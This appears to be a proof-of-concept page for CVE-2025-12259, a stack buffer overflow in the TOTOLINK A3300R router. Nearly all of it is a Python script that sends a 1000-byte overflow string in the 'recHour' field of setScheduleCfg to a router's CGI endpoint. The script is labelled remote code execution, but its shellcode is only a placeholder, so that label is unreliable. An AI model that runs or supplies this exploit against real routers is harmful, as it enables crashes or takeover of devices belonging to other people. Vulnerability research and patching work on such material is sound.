CVE-2025-12259 TOTOLINK A3300R 路由器 setScheduleCfg 栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-12259 PoC - TOTOLINK A3300R setScheduleCfg Buffer Overflow RCE Note: This PoC is for educational and security research purposes only. """ import requests import sys TARGET = "http://{target_ip}" # Replace with router IP CGI_PATH = "/cgi-bin/cstecgi.cgi" def build_payload(): """Build malicious payload for stack buffer overflow""" # NOP sled + shellcode for MIPS architecture # This is a placeholder - actual shellcode would need to be crafted for the specific firmware padding = b"A" * 1000 # Overflow padding return padding def exploit(target_ip): """Exploit the buffer overflow vulnerability""" url = f"http://{target_ip}{CGI_PATH}" # Build the malicious POST request payload = build_payload() # The vulnerable parameter is 'recHour' in the POST data data = { "topicurl": "setScheduleCfg", "recHour": payload.decode('latin-1') # Send overflow payload } headers = { "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload)}") try: response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Exploit sent successfully") else: print("[-] Unexpected response") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) exploit(sys.argv[1])